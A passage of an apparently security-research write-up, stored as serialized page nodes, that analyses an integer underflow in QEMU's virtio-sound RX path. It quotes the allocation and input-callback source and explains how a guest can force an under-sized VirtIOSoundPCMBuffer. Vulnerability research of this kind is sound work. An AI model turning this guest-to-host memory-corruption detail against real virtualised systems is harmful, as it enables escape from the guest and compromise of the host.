WITH_QEMU_LOCK_GUARD",{"type":23,"tag":314,"props":123308,"children":123309},{"style":338},[123310],{"type":28,"value":341},{"type":23,"tag":314,"props":123312,"children":123313},{"style":354},[123314],{"type":28,"value":1833},{"type":23,"tag":314,"props":123316,"children":123317},{"style":360},[123318],{"type":28,"value":35510},{"type":23,"tag":314,"props":123320,"children":123321},{"style":338},[123322],{"type":28,"value":1015},{"type":23,"tag":314,"props":123324,"children":123325},{"style":360},[123326],{"type":28,"value":123327},"queue_mutex",{"type":23,"tag":314,"props":123329,"children":123330},{"style":338},[123331],{"type":28,"value":367},{"type":23,"tag":314,"props":123333,"children":123334},{"class":316,"line":1743},[123335,123340,123344,123349,123353,123357,123361,123366,123370,123374,123378,123383,123387],{"type":23,"tag":314,"props":123336,"children":123337},{"style":338},[123338],{"type":28,"value":123339}," size ",{"type":23,"tag":314,"props":123341,"children":123342},{"style":354},[123343],{"type":28,"value":1102},{"type":23,"tag":314,"props":123345,"children":123346},{"style":332},[123347],{"type":28,"value":123348}," iov_size",{"type":23,"tag":314,"props":123350,"children":123351},{"style":338},[123352],{"type":28,"value":341},{"type":23,"tag":314,"props":123354,"children":123355},{"style":360},[123356],{"type":28,"value":51315},{"type":23,"tag":314,"props":123358,"children":123359},{"style":338},[123360],{"type":28,"value":1015},{"type":23,"tag":314,"props":123362,"children":123363},{"style":360},[123364],{"type":28,"value":123365},"in_sg",{"type":23,"tag":314,"props":123367,"children":123368},{"style":338},[123369],{"type":28,"value":778},{"type":23,"tag":314,"props":123371,"children":123372},{"style":360},[123373],{"type":28,"value":51315},{"type":23,"tag":314,"props":123375,"children":123376},{"style":338},[123377],{"type":28,"value":1015},{"type":23,"tag":314,"props":123379,"children":123380},{"style":360},[123381],{"type":28,"value":123382},"in_num",{"type":23,"tag":314,"props":123384,"children":123385},{"style":338},[123386],{"type":28,"value":2343},{"type":23,"tag":314,"props":123388,"children":123389},{"style":354},[123390],{"type":28,"value":50112},{"type":23,"tag":314,"props":123392,"children":123393},{"class":316,"line":1751},[123394,123399,123404],{"type":23,"tag":314,"props":123395,"children":123396},{"style":321},[123397],{"type":28,"value":123398}," sizeof",{"type":23,"tag":314,"props":123400,"children":123401},{"style":338},[123402],{"type":28,"value":123403},"(virtio_snd_pcm_status);",{"type":23,"tag":314,"props":123405,"children":123406},{"style":374},[123407],{"type":28,"value":123408}," // [2]\n",{"type":23,"tag":314,"props":123410,"children":123411},{"class":316,"line":1791},[123412,123417,123421,123426,123430,123434,123439,123443],{"type":23,"tag":314,"props":123413,"children":123414},{"style":338},[123415],{"type":28,"value":123416}," buffer ",{"type":23,"tag":314,"props":123418,"children":123419},{"style":354},[123420],{"type":28,"value":1102},{"type":23,"tag":314,"props":123422,"children":123423},{"style":332},[123424],{"type":28,"value":123425}," g_malloc0",{"type":23,"tag":314,"props":123427,"children":123428},{"style":338},[123429],{"type":28,"value":341},{"type":23,"tag":314,"props":123431,"children":123432},{"style":321},[123433],{"type":28,"value":1609},{"type":23,"tag":314,"props":123435,"children":123436},{"style":338},[123437],{"type":28,"value":123438},"(VirtIOSoundPCMBuffer) ",{"type":23,"tag":314,"props":123440,"children":123441},{"style":354},[123442],{"type":28,"value":1130},{"type":23,"tag":314,"props":123444,"children":123445},{"style":338},[123446],{"type":28,"value":123447}," size);\n",{"type":23,"tag":314,"props":123449,"children":123450},{"class":316,"line":1805},[123451,123456,123460,123464,123468],{"type":23,"tag":314,"props":123452,"children":123453},{"style":360},[123454],{"type":28,"value":123455}," buffer",{"type":23,"tag":314,"props":123457,"children":123458},{"style":338},[123459],{"type":28,"value":1015},{"type":23,"tag":314,"props":123461,"children":123462},{"style":360},[123463],{"type":28,"value":51315},{"type":23,"tag":314,"props":123465,"children":123466},{"style":354},[123467],{"type":28,"value":1237},{"type":23,"tag":314,"props":123469,"children":123470},{"style":338},[123471],{"type":28,"value":123472}," elem;\n",{"type":23,"tag":314,"props":123474,"children":123475},{"class":316,"line":1818},[123476,123480,123484,123488,123492],{"type":23,"tag":314,"props":123477,"children":123478},{"style":360},[123479],{"type":28,"value":123455},{"type":23,"tag":314,"props":123481,"children":123482},{"style":338},[123483],{"type":28,"value":1015},{"type":23,"tag":314,"props":123485,"children":123486},{"style":360},[123487],{"type":28,"value":123124},{"type":23,"tag":314,"props":123489,"children":123490},{"style":354},[123491],{"type":28,"value":1237},{"type":23,"tag":314,"props":123493,"children":123494},{"style":338},[123495],{"type":28,"value":123496}," vq;\n",{"type":23,"tag":314,"props":123498,"children":123499},{"class":316,"line":1873},[123500,123504,123508,123513,123517,123521],{"type":23,"tag":314,"props":123501,"children":123502},{"style":360},[123503],{"type":28,"value":123455},{"type":23,"tag":314,"props":123505,"children":123506},{"style":338},[123507],{"type":28,"value":1015},{"type":23,"tag":314,"props":123509,"children":123510},{"style":360},[123511],{"type":28,"value":123512},"size",{"type":23,"tag":314,"props":123514,"children":123515},{"style":354},[123516],{"type":28,"value":1237},{"type":23,"tag":314,"props":123518,"children":123519},{"style":1054},[123520],{"type":28,"value":1201},{"type":23,"tag":314,"props":123522,"children":123523},{"style":338},[123524],{"type":28,"value":2278},{"type":23,"tag":314,"props":123526,"children":123527},{"class":316,"line":1891},[123528,123532,123536,123540,123544,123548],{"type":23,"tag":314,"props":123529,"children":123530},{"style":360},[123531],{"type":28,"value":123455},{"type":23,"tag":314,"props":123533,"children":123534},{"style":338},[123535],{"type":28,"value":1015},{"type":23,"tag":314,"props":123537,"children":123538},{"style":360},[123539],{"type":28,"value":13148},{"type":23,"tag":314,"props":123541,"children":123542},{"style":354},[123543],{"type":28,"value":1237},{"type":23,"tag":314,"props":123545,"children":123546},{"style":1054},[123547],{"type":28,"value":1201},{"type":23,"tag":314,"props":123549,"children":123550},{"style":338},[123551],{"type":28,"value":2278},{"type":23,"tag":314,"props":123553,"children":123554},{"class":316,"line":1899},[123555,123560,123564,123568,123572,123576,123581,123586],{"type":23,"tag":314,"props":123556,"children":123557},{"style":332},[123558],{"type":28,"value":123559}," QSIMPLEQ_INSERT_TAIL",{"type":23,"tag":314,"props":123561,"children":123562},{"style":338},[123563],{"type":28,"value":341},{"type":23,"tag":314,"props":123565,"children":123566},{"style":354},[123567],{"type":28,"value":1833},{"type":23,"tag":314,"props":123569,"children":123570},{"style":360},[123571],{"type":28,"value":35510},{"type":23,"tag":314,"props":123573,"children":123574},{"style":338},[123575],{"type":28,"value":1015},{"type":23,"tag":314,"props":123577,"children":123578},{"style":360},[123579],{"type":28,"value":123580},"queue",{"type":23,"tag":314,"props":123582,"children":123583},{"style":338},[123584],{"type":28,"value":123585},", buffer, entry);",{"type":23,"tag":314,"props":123587,"children":123588},{"style":374},[123589],{"type":28,"value":51880},{"type":23,"tag":314,"props":123591,"children":123592},{"class":316,"line":1944},[123593],{"type":23,"tag":314,"props":123594,"children":123595},{"style":338},[123596],{"type":28,"value":2602},{"type":23,"tag":314,"props":123598,"children":123599},{"class":316,"line":2008},[123600,123605],{"type":23,"tag":314,"props":123601,"children":123602},{"style":2284},[123603],{"type":28,"value":123604}," continue",{"type":23,"tag":314,"props":123606,"children":123607},{"style":338},[123608],{"type":28,"value":2278},{"type":23,"tag":314,"props":123610,"children":123611},{"class":316,"line":2043},[123612],{"type":23,"tag":314,"props":123613,"children":123614},{"emptyLinePlaceholder":18},[123615],{"type":28,"value":1088},{"type":23,"tag":314,"props":123617,"children":123618},{"class":316,"line":22803},[123619],{"type":23,"tag":314,"props":123620,"children":123621},{"style":338},[123622],{"type":28,"value":123291},{"type":23,"tag":314,"props":123624,"children":123625},{"class":316,"line":22845},[123626],{"type":23,"tag":314,"props":123627,"children":123628},{"style":338},[123629],{"type":28,"value":386},{"type":23,"tag":24,"props":123631,"children":123632},{},[123633,123635,123641,123643,123649,123651,123656,123657,123663],{"type":28,"value":123634},"At ",{"type":23,"tag":94,"props":123636,"children":123638},{"className":123637},[],[123639],{"type":28,"value":123640},"[1]",{"type":28,"value":123642},", a ",{"type":23,"tag":94,"props":123644,"children":123646},{"className":123645},[],[123647],{"type":28,"value":123648},"VirtQueueElement *elem",{"type":28,"value":123650}," is popped from the virtqueue. It contains the ",{"type":23,"tag":94,"props":123652,"children":123654},{"className":123653},[],[123655],{"type":28,"value":123365},{"type":28,"value":557},{"type":23,"tag":94,"props":123658,"children":123660},{"className":123659},[],[123661],{"type":28,"value":123662},"out_sg",{"type":28,"value":123664}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":23,"tag":24,"props":123666,"children":123667},{},[123668,123670,123676,123678,123684,123686,123692,123694,123700,123702,123708],{"type":28,"value":123669},"Further at ",{"type":23,"tag":94,"props":123671,"children":123673},{"className":123672},[],[123674],{"type":28,"value":123675},"[2]",{"type":28,"value":123677},", the device computes the size of the data buffer as ",{"type":23,"tag":94,"props":123679,"children":123681},{"className":123680},[],[123682],{"type":28,"value":123683},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":28,"value":123685},". That value is then used in the allocation: ",{"type":23,"tag":94,"props":123687,"children":123689},{"className":123688},[],[123690],{"type":28,"value":123691},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":28,"value":123693},". Finally, at ",{"type":23,"tag":94,"props":123695,"children":123697},{"className":123696},[],[123698],{"type":28,"value":123699},"[3]",{"type":28,"value":123701},", the newly allocated buffer is appended to the ",{"type":23,"tag":94,"props":123703,"children":123705},{"className":123704},[],[123706],{"type":28,"value":123707},"stream->queue",{"type":28,"value":123709}," linked list.",{"type":23,"tag":24,"props":123711,"children":123712},{},[123713,123715,123720,123722,123727,123729,123734,123736,123742],{"type":28,"value":123714},"Because both the ",{"type":23,"tag":94,"props":123716,"children":123718},{"className":123717},[],[123719],{"type":28,"value":123365},{"type":28,"value":123721}," iovec and the ",{"type":23,"tag":94,"props":123723,"children":123725},{"className":123724},[],[123726],{"type":28,"value":123382},{"type":28,"value":123728}," field are guest-controlled, and there is no check that the total ",{"type":23,"tag":94,"props":123730,"children":123732},{"className":123731},[],[123733],{"type":28,"value":123365},{"type":28,"value":123735}," size is at least ",{"type":23,"tag":94,"props":123737,"children":123739},{"className":123738},[],[123740],{"type":28,"value":123741},"sizeof(virtio_snd_pcm_status)",{"type":28,"value":123743},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":23,"tag":24,"props":123745,"children":123746},{},[123747,123749,123754,123756,123762,123764,123770,123772,123778],{"type":28,"value":123748},"From the guest driver, we can provide an empty ",{"type":23,"tag":94,"props":123750,"children":123752},{"className":123751},[],[123753],{"type":28,"value":123365},{"type":28,"value":123755}," iovec. In that case, the calculation becomes ",{"type":23,"tag":94,"props":123757,"children":123759},{"className":123758},[],[123760],{"type":28,"value":123761},"0 - sizeof(virtio_snd_pcm_status)",{"type":28,"value":123763},", so the allocation size effectively becomes ",{"type":23,"tag":94,"props":123765,"children":123767},{"className":123766},[],[123768],{"type":28,"value":123769},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":28,"value":123771},". Given the definition of ",{"type":23,"tag":94,"props":123773,"children":123775},{"className":123774},[],[123776],{"type":28,"value":123777},"VirtIOSoundPCMBuffer",{"type":28,"value":3746},{"type":23,"tag":304,"props":123780,"children":123782},{"code":123781,"language":308,"meta":7,"className":306,"style":7},"struct VirtIOSoundPCMBuffer {\n QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n VirtQueueElement *elem;\n VirtQueue *vq;\n size_t size;\n uint64_t offset;\n /* Used for the TX queue for lazy I/O copy from `elem` */\n bool populated;\n uint8_t data[];\n};\n",[123783],{"type":23,"tag":94,"props":123784,"children":123785},{"__ignoreMap":7},[123786,123798,123811,123826,123843,123855,123867,123875,123887,123906],{"type":23,"tag":314,"props":123787,"children":123788},{"class":316,"line":317},[123789,123793],{"type":23,"tag":314,"props":123790,"children":123791},{"style":321},[123792],{"type":28,"value":8651},{"type":23,"tag":314,"props":123794,"children":123795},{"style":338},[123796],{"type":28,"value":123797}," VirtIOSoundPCMBuffer {\n",{"type":23,"tag":314,"props":123799,"children":123800},{"class":316,"line":370},[123801,123806],{"type":23,"tag":314,"props":123802,"children":123803},{"style":332},[123804],{"type":28,"value":123805}," QSIMPLEQ_ENTRY",{"type":23,"tag":314,"props":123807,"children":123808},{"style":338},[123809],{"type":28,"value":123810},"(VirtIOSoundPCMBuffer) entry;\n",{"type":23,"tag":314,"props":123812,"children":123813},{"class":316,"line":380},[123814,123818,123822],{"type":23,"tag":314,"props":123815,"children":123816},{"style":338},[123817],{"type":28,"value":123143},{"type":23,"tag":314,"props":123819,"children":123820},{"style":354},[123821],{"type":28,"value":256},{"type":23,"tag":314,"props":123823,"children":123824},{"style":338},[123825],{"type":28,"value":123152},{"type":23,"tag":314,"props":123827,"children":123828},{"class":316,"line":1091},[123829,123834,123838],{"type":23,"tag":314,"props":123830,"children":123831},{"style":338},[123832],{"type":28,"value":123833}," VirtQueue ",{"type":23,"tag":314,"props":123835,"children":123836},{"style":354},[123837],{"type":28,"value":256},{"type":23,"tag":314,"props":123839,"children":123840},{"style":338},[123841],{"type":28,"value":123842},"vq;\n",{"type":23,"tag":314,"props":123844,"children":123845},{"class":316,"line":1141},[123846,123850],{"type":23,"tag":314,"props":123847,"children":123848},{"style":321},[123849],{"type":28,"value":15805},{"type":23,"tag":314,"props":123851,"children":123852},{"style":338},[123853],{"type":28,"value":123854}," size;\n",{"type":23,"tag":314,"props":123856,"children":123857},{"class":316,"line":1173},[123858,123862],{"type":23,"tag":314,"props":123859,"children":123860},{"style":321},[123861],{"type":28,"value":54863},{"type":23,"tag":314,"props":123863,"children":123864},{"style":338},[123865],{"type":28,"value":123866}," offset;\n",{"type":23,"tag":314,"props":123868,"children":123869},{"class":316,"line":1208},[123870],{"type":23,"tag":314,"props":123871,"children":123872},{"style":374},[123873],{"type":28,"value":123874}," /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":23,"tag":314,"props":123876,"children":123877},{"class":316,"line":1216},[123878,123882],{"type":23,"tag":314,"props":123879,"children":123880},{"style":321},[123881],{"type":28,"value":45722},{"type":23,"tag":314,"props":123883,"children":123884},{"style":338},[123885],{"type":28,"value":123886}," populated;\n",{"type":23,"tag":314,"props":123888,"children":123889},{"class":316,"line":1301},[123890,123894,123898,123902],{"type":23,"tag":314,"props":123891,"children":123892},{"style":321},[123893],{"type":28,"value":57708},{"type":23,"tag":314,"props":123895,"children":123896},{"style":338},[123897],{"type":28,"value":1558},{"type":23,"tag":314,"props":123899,"children":123900},{"style":321},[123901],{"type":28,"value":1232},{"type":23,"tag":314,"props":123903,"children":123904},{"style":338},[123905],{"type":28,"value":2278},{"type":23,"tag":314,"props":123907,"children":123908},{"class":316,"line":1343},[123909],{"type":23,"tag":314,"props":123910,"children":123911},{"style":338},[123912],{"type":28,"value":1545},{"type":23,"tag":24,"props":123914,"children":123915},{},[123916,123918,123924,123926,123931,123933,123938,123940,123945,123947,123952,123954,123960],{"type":28,"value":123917},"That under-allocation removes the ",{"type":23,"tag":94,"props":123919,"children":123921},{"className":123920},[],[123922],{"type":28,"value":123923},"populated",{"type":28,"value":123925}," field along with the variable-sized ",{"type":23,"tag":94,"props":123927,"children":123929},{"className":123928},[],[123930],{"type":28,"value":249},{"type":28,"value":123932}," array. As the comment says, ",{"type":23,"tag":94,"props":123934,"children":123936},{"className":123935},[],[123937],{"type":28,"value":123923},{"type":28,"value":123939}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":23,"tag":94,"props":123941,"children":123943},{"className":123942},[],[123944],{"type":28,"value":3267},{"type":28,"value":123946},", the device believes data should be ",{"type":23,"tag":94,"props":123948,"children":123950},{"className":123949},[],[123951],{"type":28,"value":3267},{"type":28,"value":123953}," byte, while the actual allocation is ",{"type":23,"tag":94,"props":123955,"children":123957},{"className":123956},[],[123958],{"type":28,"value":123959},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":28,"value":282},{"type":23,"tag":18130,"props":123962,"children":123964},{"id":123963},"populating-data-buffers",[123965],{"type":28,"value":123966},"Populating Data Buffers",{"type":23,"tag":24,"props":123968,"children":123969},{},[123970],{"type":28,"value":123971},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":23,"tag":304,"props":123973,"children":123975},{"code":123974,"language":308,"meta":7,"className":306,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n VirtIOSoundPCMStream *stream = data;\n VirtIOSoundPCMBuffer *buffer;\n size_t size, max_size;\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n [...]\n\n max_size = iov_size( // [1]\n buffer->elem->in_sg,\n buffer->elem->in_num\n );\n for (;;) {\n if (buffer->size >= max_size) { // [2]\n return_rx_buffer(stream, buffer);\n break;\n }\n size = AUD_read(stream->voice.in,\n buffer->data + buffer->size,\n MIN(available, (stream->params.period_bytes - // [3]\n buffer->size)));\n if (!size) {\n available = 0;\n break;\n }\n buffer->size += size;\n available -= size;\n [...]\n }\n }\n }\n}\n",[123976],{"type":23,"tag":94,"props":123977,"children":123978},{"__ignoreMap":7},[123979,123986,123994,124001,124009,124017,124024,124073,124080,124106,124123,124135,124142,124174,124219,124259,124266,124274,124281,124306,124334,124358,124366,124378,124416,124429,124441,124448,124494,124531,124574,124595,124615,124635,124646,124653,124676,124692,124700,124707,124714,124721],{"type":23,"tag":314,"props":123980,"children":123981},{"class":316,"line":317},[123982],{"type":23,"tag":314,"props":123983,"children":123984},{"style":374},[123985],{"type":28,"value":48616},{"type":23,"tag":314,"props":123987,"children":123988},{"class":316,"line":370},[123989],{"type":23,"tag":314,"props":123990,"children":123991},{"style":374},[123992],{"type":28,"value":123993}," * AUD_* input callback.\n",{"type":23,"tag":314,"props":123995,"children":123996},{"class":316,"line":380},[123997],{"type":23,"tag":314,"props":123998,"children":123999},{"style":374},[124000],{"type":28,"value":18726},{"type":23,"tag":314,"props":124002,"children":124003},{"class":316,"line":1091},[124004],{"type":23,"tag":314,"props":124005,"children":124006},{"style":374},[124007],{"type":28,"value":124008}," * @data: VirtIOSoundPCMStream stream\n",{"type":23,"tag":314,"props":124010,"children":124011},{"class":316,"line":1141},[124012],{"type":23,"tag":314,"props":124013,"children":124014},{"style":374},[124015],{"type":28,"value":124016}," * @available: number of bytes that can be read with AUD_read()\n",{"type":23,"tag":314,"props":124018,"children":124019},{"class":316,"line":1173},[124020],{"type":23,"tag":314,"props":124021,"children":124022},{"style":374},[124023],{"type":28,"value":123080},{"type":23,"tag":314,"props":124025,"children":124026},{"class":316,"line":1208},[124027,124031,124035,124040,124044,124048,124052,124056,124060,124064,124069],{"type":23,"tag":314,"props":124028,"children":124029},{"style":321},[124030],{"type":28,"value":50295},{"type":23,"tag":314,"props":124032,"children":124033},{"style":321},[124034],{"type":28,"value":50300},{"type":23,"tag":314,"props":124036,"children":124037},{"style":332},[124038],{"type":28,"value":124039}," virtio_snd_pcm_in_cb",{"type":23,"tag":314,"props":124041,"children":124042},{"style":338},[124043],{"type":28,"value":341},{"type":23,"tag":314,"props":124045,"children":124046},{"style":321},[124047],{"type":28,"value":50878},{"type":23,"tag":314,"props":124049,"children":124050},{"style":354},[124051],{"type":28,"value":357},{"type":23,"tag":314,"props":124053,"children":124054},{"style":360},[124055],{"type":28,"value":249},{"type":23,"tag":314,"props":124057,"children":124058},{"style":338},[124059],{"type":28,"value":778},{"type":23,"tag":314,"props":124061,"children":124062},{"style":321},[124063],{"type":28,"value":18285},{"type":23,"tag":314,"props":124065,"children":124066},{"style":360},[124067],{"type":28,"value":124068}," available",{"type":23,"tag":314,"props":124070,"children":124071},{"style":338},[124072],{"type":28,"value":2414},{"type":23,"tag":314,"props":124074,"children":124075},{"class":316,"line":1216},[124076],{"type":23,"tag":314,"props":124077,"children":124078},{"style":338},[124079],{"type":28,"value":10129},{"type":23,"tag":314,"props":124081,"children":124082},{"class":316,"line":1301},[124083,124088,124092,124097,124101],{"type":23,"tag":314,"props":124084,"children":124085},{"style":338},[124086],{"type":28,"value":124087}," VirtIOSoundPCMStream ",{"type":23,"tag":314,"props":124089,"children":124090},{"style":354},[124091],{"type":28,"value":256},{"type":23,"tag":314,"props":124093,"children":124094},{"style":338},[124095],{"type":28,"value":124096},"stream ",{"type":23,"tag":314,"props":124098,"children":124099},{"style":354},[124100],{"type":28,"value":1102},{"type":23,"tag":314,"props":124102,"children":124103},{"style":338},[124104],{"type":28,"value":124105}," data;\n",{"type":23,"tag":314,"props":124107,"children":124108},{"class":316,"line":1343},[124109,124114,124118],{"type":23,"tag":314,"props":124110,"children":124111},{"style":338},[124112],{"type":28,"value":124113}," VirtIOSoundPCMBuffer ",{"type":23,"tag":314,"props":124115,"children":124116},{"style":354},[124117],{"type":28,"value":256},{"type":23,"tag":314,"props":124119,"children":124120},{"style":338},[124121],{"type":28,"value":124122},"buffer;\n",{"type":23,"tag":314,"props":124124,"children":124125},{"class":316,"line":1351},[124126,124130],{"type":23,"tag":314,"props":124127,"children":124128},{"style":321},[124129],{"type":28,"value":15805},{"type":23,"tag":314,"props":124131,"children":124132},{"style":338},[124133],{"type":28,"value":124134}," size, max_size;\n",{"type":23,"tag":314,"props":124136,"children":124137},{"class":316,"line":1387},[124138],{"type":23,"tag":314,"props":124139,"children":124140},{"emptyLinePlaceholder":18},[124141],{"type":28,"value":1088},{"type":23,"tag":314,"props":124143,"children":124144},{"class":316,"line":1422},[124145,124150,124154,124158,124162,124166,124170],{"type":23,"tag":314,"props":124146,"children":124147},{"style":332},[124148],{"type":28,"value":124149}," WITH_QEMU_LOCK_GUARD",{"type":23,"tag":314,"props":124151,"children":124152},{"style":338},[124153],{"type":28,"value":341},{"type":23,"tag":314,"props":124155,"children":124156},{"style":354},[124157],{"type":28,"value":1833},{"type":23,"tag":314,"props":124159,"children":124160},{"style":360},[124161],{"type":28,"value":35510},{"type":23,"tag":314,"props":124163,"children":124164},{"style":338},[124165],{"type":28,"value":1015},{"type":23,"tag":314,"props":124167,"children":124168},{"style":360},[124169],{"type":28,"value":123327},{"type":23,"tag":314,"props":124171,"children":124172},{"style":338},[124173],{"type":28,"value":367},{"type":23,"tag":314,"props":124175,"children":124176},{"class":316,"line":1430},[124177,124182,124186,124190,124195,124199,124203,124207,124211,124215],{"type":23,"tag":314,"props":124178,"children":124179},{"style":2284},[124180],{"type":28,"value":124181}," while",{"type":23,"tag":314,"props":124183,"children":124184},{"style":338},[124185],{"type":28,"value":2324},{"type":23,"tag":314,"props":124187,"children":124188},{"style":354},[124189],{"type":28,"value":19859},{"type":23,"tag":314,"props":124191,"children":124192},{"style":332},[124193],{"type":28,"value":124194},"QSIMPLEQ_EMPTY",{"type":23,"tag":314,"props":124196,"children":124197},{"style":338},[124198],{"type":28,"value":341},{"type":23,"tag":314,"props":124200,"children":124201},{"style":354},[124202],{"type":28,"value":1833},{"type":23,"tag":314,"props":124204,"children":124205},{"style":360},[124206],{"type":28,"value":35510},{"type":23,"tag":314,"props":124208,"children":124209},{"style":338},[124210],{"type":28,"value":1015},{"type":23,"tag":314,"props":124212,"children":124213},{"style":360},[124214],{"type":28,"value":123580},{"type":23,"tag":314,"props":124216,"children":124217},{"style":338},[124218],{"type":28,"value":34443},{"type":23,"tag":314,"props":124220,"children":124221},{"class":316,"line":1452},[124222,124226,124230,124235,124239,124243,124247,124251,124255],{"type":23,"tag":314,"props":124223,"children":124224},{"style":338},[124225],{"type":28,"value":123416},{"type":23,"tag":314,"props":124227,"children":124228},{"style":354},[124229],{"type":28,"value":1102},{"type":23,"tag":314,"props":124231,"children":124232},{"style":332},[124233],{"type":28,"value":124234}," QSIMPLEQ_FIRST",{"type":23,"tag":314,"props":124236,"children":124237},{"style":338},[124238],{"type":28,"value":341},{"type":23,"tag":314,"props":124240,"children":124241},{"style":354},[124242],{"type":28,"value":1833},{"type":23,"tag":314,"props":124244,"children":124245},{"style":360},[124246],{"type":28,"value":35510},{"type":23,"tag":314,"props":124248,"children":124249},{"style":338},[124250],{"type":28,"value":1015},{"type":23,"tag":314,"props":124252,"children":124253},{"style":360},[124254],{"type":28,"value":123580},{"type":23,"tag":314,"props":124256,"children":124257},{"style":338},[124258],{"type":28,"value":1025},{"type":23,"tag":314,"props":124260,"children":124261},{"class":316,"line":1497},[124262],{"type":23,"tag":314,"props":124263,"children":124264},{"emptyLinePlaceholder":18},[124265],{"type":28,"value":1088},{"type":23,"tag":314,"props":124267,"children":124268},{"class":316,"line":1539},[124269],{"type":23,"tag":314,"props":124270,"children":124271},{"style":338},[124272],{"type":28,"value":124273}," [...]\n",{"type":23,"tag":314,"props":124275,"children":124276},{"class":316,"line":1548},[124277],{"type":23,"tag":314,"props":124278,"children":124279},{"emptyLinePlaceholder":18},[124280],{"type":28,"value":1088},{"type":23,"tag":314,"props":124282,"children":124283},{"class":316,"line":1584},[124284,124289,124293,124297,124301],{"type":23,"tag":314,"props":124285,"children":124286},{"style":338},[124287],{"type":28,"value":124288}," max_size ",{"type":23,"tag":314,"props":124290,"children":124291},{"style":354},[124292],{"type":28,"value":1102},{"type":23,"tag":314,"props":124294,"children":124295},{"style":332},[124296],{"type":28,"value":123348},{"type":23,"tag":314,"props":124298,"children":124299},{"style":338},[124300],{"type":28,"value":341},{"type":23,"tag":314,"props":124302,"children":124303},{"style":374},[124304],{"type":28,"value":124305}," // [1]\n",{"type":23,"tag":314,"props":124307,"children":124308},{"class":316,"line":1617},[124309,124314,124318,124322,124326,124330],{"type":23,"tag":314,"props":124310,"children":124311},{"style":360},[124312],{"type":28,"value":124313}," buffer",{"type":23,"tag":314,"props":124315,"children":124316},{"style":338},[124317],{"type":28,"value":1015},{"type":23,"tag":314,"props":124319,"children":124320},{"style":360},[124321],{"type":28,"value":51315},{"type":23,"tag":314,"props":124323,"children":124324},{"style":338},[124325],{"type":28,"value":1015},{"type":23,"tag":314,"props":124327,"children":124328},{"style":360},[124329],{"type":28,"value":123365},{"type":23,"tag":314,"props":124331,"children":124332},{"style":338},[124333],{"type":28,"value":1870},{"type":23,"tag":314,"props":124335,"children":124336},{"class":316,"line":1625},[124337,124341,124345,124349,124353],{"type":23,"tag":314,"props":124338,"children":124339},{"style":360},[124340],{"type":28,"value":124313},{"type":23,"tag":314,"props":124342,"children":124343},{"style":338},[124344],{"type":28,"value":1015},{"type":23,"tag":314,"props":124346,"children":124347},{"style":360},[124348],{"type":28,"value":51315},{"type":23,"tag":314,"props":124350,"children":124351},{"style":338},[124352],{"type":28,"value":1015},{"type":23,"tag":314,"props":124354,"children":124355},{"style":360},[124356],{"type":28,"value":124357},"in_num\n",{"type":23,"tag":314,"props":124359,"children":124360},{"class":316,"line":1660},[124361],{"type":23,"tag":314,"props":124362,"children":124363},{"style":338},[124364],{"type":28,"value":124365}," );\n",{"type":23,"tag":314,"props":124367,"children":124368},{"class":316,"line":1708},[124369,124374],{"type":23,"tag":314,"props":124370,"children":124371},{"style":2284},[124372],{"type":28,"value":124373}," for",{"type":23,"tag":314,"props":124375,"children":124376},{"style":338},[124377],{"type":28,"value":123178},{"type":23,"tag":314,"props":124379,"children":124380},{"class":316,"line":1743},[124381,124385,124389,124394,124398,124402,124406,124411],{"type":23,"tag":314,"props":124382,"children":124383},{"style":2284},[124384],{"type":28,"value":102772},{"type":23,"tag":314,"props":124386,"children":124387},{"style":338},[124388],{"type":28,"value":2324},{"type":23,"tag":314,"props":124390,"children":124391},{"style":360},[124392],{"type":28,"value":124393},"buffer",{"type":23,"tag":314,"props":124395,"children":124396},{"style":338},[124397],{"type":28,"value":1015},{"type":23,"tag":314,"props":124399,"children":124400},{"style":360},[124401],{"type":28,"value":123512},{"type":23,"tag":314,"props":124403,"children":124404},{"style":354},[124405],{"type":28,"value":1062},{"type":23,"tag":314,"props":124407,"children":124408},{"style":338},[124409],{"type":28,"value":124410}," max_size) {",{"type":23,"tag":314,"props":124412,"children":124413},{"style":374},[124414],{"type":28,"value":124415}," // [2]\n",{"type":23,"tag":314,"props":124417,"children":124418},{"class":316,"line":1751},[124419,124424],{"type":23,"tag":314,"props":124420,"children":124421},{"style":332},[124422],{"type":28,"value":124423}," return_rx_buffer",{"type":23,"tag":314,"props":124425,"children":124426},{"style":338},[124427],{"type":28,"value":124428},"(stream, buffer);\n",{"type":23,"tag":314,"props":124430,"children":124431},{"class":316,"line":1791},[124432,124437],{"type":23,"tag":314,"props":124433,"children":124434},{"style":2284},[124435],{"type":28,"value":124436}," break",{"type":23,"tag":314,"props":124438,"children":124439},{"style":338},[124440],{"type":28,"value":2278},{"type":23,"tag":314,"props":124442,"children":124443},{"class":316,"line":1805},[124444],{"type":23,"tag":314,"props":124445,"children":124446},{"style":338},[124447],{"type":28,"value":70324},{"type":23,"tag":314,"props":124449,"children":124450},{"class":316,"line":1818},[124451,124456,124460,124465,124469,124473,124477,124482,124486,124490],{"type":23,"tag":314,"props":124452,"children":124453},{"style":338},[124454],{"type":28,"value":124455}," size ",{"type":23,"tag":314,"props":124457,"children":124458},{"style":354},[124459],{"type":28,"value":1102},{"type":23,"tag":314,"props":124461,"children":124462},{"style":332},[124463],{"type":28,"value":124464}," 